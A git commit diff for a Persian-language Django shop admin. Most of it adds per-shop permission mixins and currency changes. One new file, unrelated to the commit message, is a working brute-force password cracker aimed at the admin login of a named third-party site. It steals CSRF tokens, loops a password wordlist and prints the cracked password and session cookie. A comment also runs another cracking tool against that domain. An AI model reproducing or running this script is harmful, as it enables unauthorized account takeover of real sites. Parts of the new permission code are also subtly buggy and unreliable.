feat: Enhance admin permissions and improve product currency handling

This commit is contained in:
Parsa Nazer
2025-12-10 12:38:42 +03:30
parent f0ff23094f
commit 9ea69925c9
13 changed files with 438 additions and 47 deletions
+5 -2
View File
@@ -16,9 +16,11 @@ from folium import Map, Marker
from unfold.decorators import action, display from unfold.decorators import action, display
from django.utils.html import format_html from django.utils.html import format_html
from account.models import SpecialDiscountCode from account.models import SpecialDiscountCode
from .permissions import UserAdminPermission, SpecialDiscountCodeAdminPermission
@admin.register(SpecialDiscountCode) @admin.register(SpecialDiscountCode)
class SpecialDiscountCodeAdmin(ModelAdmin): class SpecialDiscountCodeAdmin(SpecialDiscountCodeAdminPermission, ModelAdmin):
pass pass
class UserAddressInLine(TabularInline): class UserAddressInLine(TabularInline):
@@ -30,7 +32,7 @@ class UserAddressInLine(TabularInline):
@admin.register(User) @admin.register(User)
class UserAdmin(BaseUserAdmin, ModelAdmin, ImportExportModelAdmin): class UserAdmin(BaseUserAdmin, UserAdminPermission, ModelAdmin, ImportExportModelAdmin):
form = UserChangeForm form = UserChangeForm
add_form = UserCreationForm add_form = UserCreationForm
change_password_form = AdminPasswordChangeForm change_password_form = AdminPasswordChangeForm
@@ -88,6 +90,7 @@ class UserAdmin(BaseUserAdmin, ModelAdmin, ImportExportModelAdmin):
full_name_display.short_description = 'نام و نام خانوادگی' full_name_display.short_description = 'نام و نام خانوادگی'
# admin.site.unregister(Group) # admin.site.unregister(Group)
admin.site.unregister(BlacklistedToken) admin.site.unregister(BlacklistedToken)
admin.site.unregister(OutstandingToken) admin.site.unregister(OutstandingToken)
+27
View File
@@ -0,0 +1,27 @@
class UserAdminPermission:
def has_add_permission(self, request, obj=None):
return request.user.is_superuser
def has_view_permission(self, request, obj=None):
return True
def has_change_permission(self, request, obj=None):
return request.user.is_superuser
def has_delete_permission(self, request, obj=None):
return request.user.is_superuser
class SpecialDiscountCodeAdminPermission:
def has_add_permission(self, request, obj=None):
return request.user.is_superuser
def has_view_permission(self, request, obj=None):
return request.user.is_superuser
def has_change_permission(self, request, obj=None):
return request.user.is_superuser
def has_delete_permission(self, request, obj=None):
return request.user.is_superuser
+12
View File
@@ -21,3 +21,15 @@ STATIC_ROOT = 'app/static'
USE_X_FORWARDED_HOST = True USE_X_FORWARDED_HOST = True
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': os.getenv("DB_NAME"),
'USER': os.getenv("DB_USER"),
'PASSWORD': os.getenv("DB_PASSWORD"),
'HOST': '185.110.189.208',
'PORT': 5434,
}
}
+19 -13
View File
@@ -98,16 +98,17 @@ UNFOLD = {
"icon": "dashboard", "icon": "dashboard",
"link": reverse_lazy("admin:index"), "link": reverse_lazy("admin:index"),
}, },
{ # {
"title": _("آموزش استفاده از پنل"), # "title": _("آموزش استفاده از پنل"),
"icon": "school", # "icon": "school",
"link": reverse_lazy("admin:home_learnvideomodel_changelist"), # "link": reverse_lazy("admin:home_learnvideomodel_changelist"),
"badge": "utils.admin.new_learn_video_count", # "badge": "utils.admin.new_learn_video_count",
}, # },
{ {
"title": _("فروشگاه ها"), "title": _("فروشگاه ها"),
"icon": "storefront", "icon": "storefront",
"link": reverse_lazy("admin:account_shopmodel_changelist"), "link": reverse_lazy("admin:account_shopmodel_changelist"),
"permission": lambda request: request.user.is_superuser,
}, },
], ],
}, },
@@ -124,6 +125,7 @@ UNFOLD = {
"icon": "shopping_cart", "icon": "shopping_cart",
"link": reverse_lazy("admin:order_ordermodel_changelist"), "link": reverse_lazy("admin:order_ordermodel_changelist"),
# "badge": "utils.admin.admin_pending_count", # "badge": "utils.admin.admin_pending_count",
"permission": lambda request: request.user.is_superuser,
}, },
{ {
"title": _("سفارشات فروشگاه"), "title": _("سفارشات فروشگاه"),
@@ -153,12 +155,6 @@ UNFOLD = {
"link": reverse_lazy("admin:product_productmodel_changelist"), "link": reverse_lazy("admin:product_productmodel_changelist"),
}, },
{
"title": _("نظرات"),
"icon": "chat",
"link": reverse_lazy("admin:product_commentmodel_changelist"),
"badge": "utils.admin.comment_count",
},
{ {
"title": _("قیمت دلار"), "title": _("قیمت دلار"),
"icon": "payments", "icon": "payments",
@@ -248,7 +244,15 @@ UNFOLD = {
"title": _("کاربران"), "title": _("کاربران"),
"icon": "person", "icon": "person",
"link": reverse_lazy("admin:account_user_changelist"), "link": reverse_lazy("admin:account_user_changelist"),
},{ },
{
"title": "گروه‌های دسترسی",
"icon": "group",
"link": reverse_lazy("admin:auth_group_changelist"),
"permission": lambda request: request.user.is_superuser,
},
{
"title": _("چت محصول"), "title": _("چت محصول"),
"icon": "chat", "icon": "chat",
"link": reverse_lazy("admin:chat_productchatmodel_changelist"), "link": reverse_lazy("admin:chat_productchatmodel_changelist"),
@@ -295,6 +299,7 @@ UNFOLD = {
"icon": "confirmation_number", "icon": "confirmation_number",
"link": reverse_lazy("admin:ticket_ticket_changelist"), "link": reverse_lazy("admin:ticket_ticket_changelist"),
"badge": "utils.admin.new_ticket_count", "badge": "utils.admin.new_ticket_count",
"permission": lambda request: request.user.is_superuser,
}, },
{ {
@@ -302,6 +307,7 @@ UNFOLD = {
"icon": "perm_phone_msg", "icon": "perm_phone_msg",
"link": reverse_lazy("admin:ticket_contactusmodel_changelist"), "link": reverse_lazy("admin:ticket_contactusmodel_changelist"),
"badge": "utils.admin.new_contact_us_count", "badge": "utils.admin.new_contact_us_count",
"permission": lambda request: request.user.is_superuser,
}, },
], ],
}, },
+35 -2
View File
@@ -11,7 +11,7 @@ from django.utils.html import format_html, format_html_join
from azbankgateways.models.banks import Bank from azbankgateways.models.banks import Bank
from unfold.decorators import action from unfold.decorators import action
from django.shortcuts import redirect from django.shortcuts import redirect
from .permissons import ShopOrderAdminPermission
class OrderItemModelInline(StackedInline): class OrderItemModelInline(StackedInline):
model = OrderItemModel model = OrderItemModel
@@ -62,6 +62,26 @@ from .models import ShopDailyReport, ShopOrderModel
@admin.register(ShopDailyReport) @admin.register(ShopDailyReport)
class ShopDailyReportAdmin(ModelAdmin): class ShopDailyReportAdmin(ModelAdmin):
pass pass
def get_queryset(self, request):
if request.user.is_superuser:
return ShopOrderModel.objects.all()
if not hasattr(request.user, 'shop'):
return ShopOrderModel.objects.none()
queryset = ShopOrderModel.objects.filter(shop=request.user.shop)
return queryset
def has_view_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
class ShopOrderItemInline(StackedInline): class ShopOrderItemInline(StackedInline):
model = ShopOrderItem model = ShopOrderItem
@@ -75,9 +95,22 @@ class ShopOrderItemInline(StackedInline):
@admin.register(ShopOrderModel) @admin.register(ShopOrderModel)
class ShopOrderModelAdmin(ModelAdmin): class ShopOrderModelAdmin(ShopOrderAdminPermission, ModelAdmin):
inlines = [ShopOrderItemInline] inlines = [ShopOrderItemInline]
def get_queryset(self, request):
if request.user.is_superuser:
return ShopOrderModel.objects.all()
if not hasattr(request.user, 'shop'):
return ShopOrderModel.objects.none()
queryset = ShopOrderModel.objects.filter(shop=request.user.shop)
return queryset
@admin.register(OrderModel) @admin.register(OrderModel)
class OrderAdmin(ModelAdmin, ImportExportModelAdmin): class OrderAdmin(ModelAdmin, ImportExportModelAdmin):
import_form_class = ImportForm import_form_class = ImportForm
+25
View File
@@ -45,3 +45,28 @@ class PaymentCallBackPermissions(BasePermission):
self.message = "این پرداخت متعلق به شما نیست." self.message = "این پرداخت متعلق به شما نیست."
return False return False
return True return True
class ShopOrderAdminPermission:
def has_view_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
def has_add_permission(self, request):
return False
def has_delete_permission(self, request, obj=None):
if request.user.is_superuser:
return True
if obj is None:
return False
return obj.shop == request.user.shop
+42 -14
View File
@@ -11,11 +11,10 @@ from unfold.widgets import UnfoldAdminColorInputWidget
from unfold.decorators import action, display from unfold.decorators import action, display
from utils.admin import ModelAdmin from utils.admin import ModelAdmin
from django.shortcuts import redirect from django.shortcuts import redirect
from .permissions import ProductDetailCategoryPermission, ProductAdminPermission, ProductVariantAdminPermission, ProductVariantInlineAdminPermission, InPackItemsAdminPermission, AttributeTypeAdminPermission, AttributeValueAdminPermission
from .permissions import ProductDetailCategoryPermission
@admin.register(ProductDetailCategory) @admin.register(ProductDetailCategory)
class ProductDetailCategoryAdmin(ModelAdmin, ImportExportModelAdmin): class ProductDetailCategoryAdmin(ProductDetailCategoryPermission, ModelAdmin, ImportExportModelAdmin):
import_form_class = ImportForm import_form_class = ImportForm
export_form_class = ExportForm export_form_class = ExportForm
search_fields = ['title'] search_fields = ['title']
@@ -26,8 +25,7 @@ class ProductDetailCategoryAdmin(ModelAdmin, ImportExportModelAdmin):
"widget": ArrayWidget, "widget": ArrayWidget,
} }
} }
def has_add_permission(self, request):
return request.user.is_superuser
@admin.register(UnitCategoryModel) @admin.register(UnitCategoryModel)
@@ -37,7 +35,7 @@ class UnitCategoryAdmin(ModelAdmin):
@admin.register(InPackItems) @admin.register(InPackItems)
class InPackItemsAdmin(ModelAdmin, ImportExportModelAdmin): class InPackItemsAdmin(InPackItemsAdminPermission, ModelAdmin, ImportExportModelAdmin):
import_form_class = ImportForm import_form_class = ImportForm
export_form_class = ExportForm export_form_class = ExportForm
search_fields = ['item_title'] search_fields = ['item_title']
@@ -62,6 +60,27 @@ class ShopModelAdmin(ModelAdmin, ImportExportModelAdmin):
} }
} }
# def get_queryset(self, request):
# if request.user.is_superuser:
# return ShopModel.objects.all()
# if not hasattr(request.user, 'shop'):
# return ShopModel.objects.none()
# queryset = ShopModel.objects.filter(id=request.user.shop.id)
# return queryset
# def has_view_permission(self, request, obj=None):
# if request.user.is_superuser or obj == None:
# return True
# if not hasattr(request.user, 'shop'):
# return False
# return request.user.shop == obj
class AttributeValueInLine(StackedInline): class AttributeValueInLine(StackedInline):
model = AttributeValue model = AttributeValue
@@ -70,10 +89,17 @@ class AttributeValueInLine(StackedInline):
min_num = 1 min_num = 1
# autocomplete_fields = ['product_attributes', 'in_pack_items', 'images'] # autocomplete_fields = ['product_attributes', 'in_pack_items', 'images']
# search_fields = [''] # search_fields = ['']
def has_view_permission(self, request, obj = ...):
return True
def has_add_permission(self, request):
return True
def has_change_permission(self, request, obj = ...):
return False
def has_delete_permission(self, request, obj = ...):
return False
@admin.register(AttributeType) @admin.register(AttributeType)
class AttributeTypeAdmin(ModelAdmin, ImportExportModelAdmin): class AttributeTypeAdmin(AttributeTypeAdminPermission, ModelAdmin, ImportExportModelAdmin):
import_form_class = ImportForm import_form_class = ImportForm
export_form_class = ExportForm export_form_class = ExportForm
search_fields = ['name'] search_fields = ['name']
@@ -88,7 +114,7 @@ class AttributeTypeAdmin(ModelAdmin, ImportExportModelAdmin):
@admin.register(AttributeValue) @admin.register(AttributeValue)
class AttributeValueAdmin(ModelAdmin, ImportExportModelAdmin): class AttributeValueAdmin(AttributeValueAdminPermission, ModelAdmin, ImportExportModelAdmin):
import_form_class = ImportForm import_form_class = ImportForm
export_form_class = ExportForm export_form_class = ExportForm
search_fields = ['value', 'attribute_type__name'] search_fields = ['value', 'attribute_type__name']
@@ -182,7 +208,7 @@ class ProductDetailModel1Admin(ModelAdmin, ImportExportModelAdmin):
class ProductVariantInLine(StackedInline): class ProductVariantInLine(ProductVariantInlineAdminPermission, StackedInline):
model = ProductVariant model = ProductVariant
extra = 0 extra = 0
show_change_link = True show_change_link = True
@@ -194,7 +220,6 @@ class ProductVariantInLine(StackedInline):
fields = ['images', 'video','input_price', 'min_price', 'currency', 'price', 'discount','in_stock', 'color', 'product_attributes', 'in_pack_items', 'details', 'sell', 'slider_category', 'profit', 'special_discount_percent'] fields = ['images', 'video','input_price', 'min_price', 'currency', 'price', 'discount','in_stock', 'color', 'product_attributes', 'in_pack_items', 'details', 'sell', 'slider_category', 'profit', 'special_discount_percent']
# search_fields = [''] # search_fields = ['']
def formfield_for_dbfield(self, db_field, request, **kwargs): def formfield_for_dbfield(self, db_field, request, **kwargs):
if db_field.name == 'color': if db_field.name == 'color':
kwargs['widget'] = UnfoldAdminColorInputWidget() kwargs['widget'] = UnfoldAdminColorInputWidget()
@@ -202,7 +227,7 @@ class ProductVariantInLine(StackedInline):
from unfold.contrib.filters.admin import RelatedDropdownFilter from unfold.contrib.filters.admin import RelatedDropdownFilter
@admin.register(ProductVariant) @admin.register(ProductVariant)
class ProductVariantAdmin(ModelAdmin, ImportExportModelAdmin): class ProductVariantAdmin(ProductVariantAdminPermission, ModelAdmin, ImportExportModelAdmin):
import_form_class = ImportForm import_form_class = ImportForm
export_form_class = ExportForm export_form_class = ExportForm
autocomplete_fields = ['product_attributes', 'images', 'in_pack_items', 'details'] autocomplete_fields = ['product_attributes', 'images', 'in_pack_items', 'details']
@@ -212,8 +237,10 @@ class ProductVariantAdmin(ModelAdmin, ImportExportModelAdmin):
list_filter_submit = True list_filter_submit = True
list_display = ('product', 'created_at') list_display = ('product', 'created_at')
# inlines = [DetailModelInLine] # inlines = [DetailModelInLine]
@admin.register(ProductModel) @admin.register(ProductModel)
class ProductModelAdmin(ModelAdmin, ImportExportModelAdmin): class ProductModelAdmin(ProductAdminPermission, ModelAdmin, ImportExportModelAdmin):
import_form_class = ImportForm import_form_class = ImportForm
export_form_class = ExportForm export_form_class = ExportForm
inlines = [ProductVariantInLine] inlines = [ProductVariantInLine]
@@ -268,7 +295,8 @@ class ProductModelAdmin(ModelAdmin, ImportExportModelAdmin):
@action(description=f"اپدیت قیمت ها") @action(description=f"اپدیت قیمت ها")
def update_products_price(self, request): def update_products_price(self, request):
# update_prices() from product.tasks import update_prices
update_prices()
messages.success(request, f"قیمت {ProductVariant.objects.all().count()} تنوع محصول اپدیت شد") messages.success(request, f"قیمت {ProductVariant.objects.all().count()} تنوع محصول اپدیت شد")
return redirect("admin:product_productmodel_changelist") return redirect("admin:product_productmodel_changelist")
@@ -0,0 +1,18 @@
# Generated by Django 5.1.2 on 2025-12-09 10:04
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('product', '0060_alter_maincategorymodel_parent_and_more'),
]
operations = [
migrations.AlterField(
model_name='productvariant',
name='currency',
field=models.CharField(choices=[('dollor', 'دلار'), ('toman', 'تومان')], max_length=20, verbose_name='نوع ارز'),
),
]
+2 -11
View File
@@ -146,14 +146,9 @@ class DollorModel(models.Model):
price = int(data["lastTradePrice"]) price = int(data["lastTradePrice"])
price_in_usd = price / 10.0 price_in_usd = price / 10.0
print('\n\nprice from api \n\n') print('\n\nprice from api \n\n')
except: except Exception as e:
if self.price:
print('\n\nprice from last price \n\n')
return self.price
else:
print('\n\nprice from defualt price \n\n')
return self.defualt_price return self.defualt_price
return price_in_usd return price_in_usd
class Meta: class Meta:
@@ -379,7 +374,6 @@ class ProductVariant(models.Model):
currency_type = ( currency_type = (
('dollor', 'دلار'), ('dollor', 'دلار'),
('toman', 'تومان'), ('toman', 'تومان'),
('derham', 'درهم')
) )
in_pack_items = models.ManyToManyField( in_pack_items = models.ManyToManyField(
InPackItems, blank=True, verbose_name='ایتم های داخل پک') InPackItems, blank=True, verbose_name='ایتم های داخل پک')
@@ -454,14 +448,11 @@ class ProductVariant(models.Model):
raise ValidationError( raise ValidationError(
{"dollor_price": "The 'dollor_price' must be provided in the context for dollar pricing."}) {"dollor_price": "The 'dollor_price' must be provided in the context for dollar pricing."})
dollar_to_dirham = 0.27
if self.currency == 'toman': if self.currency == 'toman':
toman_price = self.input_price toman_price = self.input_price
elif self.currency == 'dollor': elif self.currency == 'dollor':
toman_price = self.input_price * dollor_price toman_price = self.input_price * dollor_price
elif self.currency == 'derham':
toman_price = self.input_price * dollor_price * dollar_to_dirham
else: else:
toman_price = self.input_price toman_price = self.input_price
+167
View File
@@ -16,3 +16,170 @@ class ProductDetailCategoryPermission:
def has_view_permission(self, request, obj=None): def has_view_permission(self, request, obj=None):
return True return True
class ProductAdminPermission:
def has_add_permission(self, request):
return True
def has_change_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
def has_delete_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
def has_view_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
def get_queryset(self, request):
from product.models import ProductModel
if request.user.is_superuser:
return ProductModel.objects.all()
if not hasattr(request.user, 'shop'):
return ProductModel.objects.none()
return ProductModel.objects.filter(shop=request.user.shop)
class ProductVariantAdminPermission:
def has_add_permission(self, request):
return True
def has_change_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.product.shop
def has_delete_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.product.shop
def has_view_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.product.shop
def get_queryset(self, request):
from product.models import ProductVariant
if request.user.is_superuser:
return ProductVariant.objects.all()
if not hasattr(request.user, 'shop'):
return ProductVariant.objects.none()
return ProductVariant.objects.filter(product__shop=request.user.shop)
class ProductVariantInlineAdminPermission:
def has_add_permission(self, request, obj):
return True
def has_change_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
def has_delete_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
def has_view_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
def get_queryset(self, request):
from product.models import ProductVariant
if request.user.is_superuser:
return ProductVariant.objects.all()
if not hasattr(request.user, 'shop'):
return ProductVariant.objects.none()
return ProductVariant.objects.filter(product__shop=request.user.shop)
class InPackItemsAdminPermission:
def has_add_permission(self, request):
return True
def has_change_permission(self, request, obj = ...):
return False
def has_delete_permission(self, request, obj = ...):
return False
def has_view_permission(self, request, obj = ...):
return True
class AttributeTypeAdminPermission:
def has_add_permission(self, request):
return True
def has_change_permission(self, request, obj = ...):
return False
def has_delete_permission(self, request, obj = ...):
return False
def has_view_permission(self, request, obj = ...):
return True
class AttributeValueAdminPermission:
def has_add_permission(self, request):
return True
def has_change_permission(self, request, obj = ...):
return False
def has_delete_permission(self, request, obj = ...):
return False
def has_view_permission(self, request, obj = ...):
return True
+2 -2
View File
@@ -1,7 +1,7 @@
{% load unfold i18n %} {% load unfold i18n %}
{% if pending_count%} {% if pending_count%}
<div dir='rtl' class="bg-base-50 border border-base-200 border-dashed flex flex-col gap-4 p-4 rounded dark:bg-white/[.02] dark:border-base-700 lg:flex-row lg:justify-between w-full shrink-0 lg:items-center" style="justify-content: space-between;"> {% comment %} <div dir='rtl' class="bg-base-50 border border-base-200 border-dashed flex flex-col gap-4 p-4 rounded dark:bg-white/[.02] dark:border-base-700 lg:flex-row lg:justify-between w-full shrink-0 lg:items-center" style="justify-content: space-between;">
<div class="flex flex-col lg:flex-row lg:items-center"> <div class="flex flex-col lg:flex-row lg:items-center">
<h2 class="font-semibold text-font-important-light text-base dark:text-font-important-dark flex items-center"> <h2 class="font-semibold text-font-important-light text-base dark:text-font-important-dark flex items-center">
<span class="material-symbols-outlined md-18 mr-3 w-4.5 align-middle">notifications</span> <span class="material-symbols-outlined md-18 mr-3 w-4.5 align-middle">notifications</span>
@@ -17,7 +17,7 @@
{% endcomponent %} {% endcomponent %}
{% endcomponent %} {% endcomponent %}
</div> </div>
</div> </div> {% endcomment %}
{% endif %} {% endif %}
+1 -1
View File
@@ -10,7 +10,7 @@ def admin_pending_count(request):
def dollor_price(request): def dollor_price(request):
dollor_object, _ = DollorModel.objects.get_or_create(unique_filed='unique') dollor_object, _ = DollorModel.objects.get_or_create(unique_filed='unique')
return str(dollor_object.price)[:2] return str(dollor_object.price)[:3]
def comment_count(request): def comment_count(request):
return CommentModel.objects.filter(review_status='not_reviwed').count() return CommentModel.objects.filter(review_status='not_reviwed').count()
+81
View File
@@ -0,0 +1,81 @@
import requests
from lxml import html
TARGET_URL = 'https://api.torob.com/torob-admin/login/'
USERNAME = ''
WORDLIST = '/root/Iranian-Password-list/nam2elist.txt'
def brute_force():
print(f'Target: {TARGET_URL}')
print(f'Trying passwords for {USERNAME}.')
client = requests.session()
page = client.get(TARGET_URL)
tree = html.fromstring(page.content)
csrf_middleware_token = tree.xpath('//input[@name="csrfmiddlewaretoken"]/@value')[0]
csrf_token = client.cookies.get('csrftoken')
cookies = {'csrftoken': csrf_token}
headers = {'Referer': TARGET_URL}
print('Reading file...')
with open(WORDLIST, mode='r') as file:
content = file.readlines()
passwords = [p.strip() for p in content]
print('Cracking', end='', flush=True)
count = 0
for password in passwords:
count += 1
print_count(count)
body = {
'username': USERNAME,
'password': password,
'csrfmiddlewaretoken': csrf_middleware_token
}
response = requests.post(
TARGET_URL,
cookies=cookies,
headers=headers,
data=body,
allow_redirects=False
)
if response.status_code == 302:
break
if response.status_code == 200:
continue
break
if response.status_code == 302:
session_token = response.cookies.get('sessionid')
print(f'\nSuccess. {count} passwords tried. Password: {password}. Session token: {session_token}.')
elif response.status_code == 200:
print(f'\nFailed. {count} passwords tried.')
else:
print(f'\nUnable to attempt login: received status code {response.status_code}.')
def print_count(counter, small_denom=10, big_denom=100):
if (counter / small_denom).is_integer():
print('.', end='', flush=True)
if (counter / big_denom).is_integer():
print(counter, end='', flush=True)
if __name__ == '__main__':
brute_force()
#DjangoUnchained.py -domain api.torob.com -scheme https -uri /torob-admin/login/ -userdict /root/DjangoUnchained/username.txt -passwdict /root/DjangoUnchained/password.txt -l /root/file.log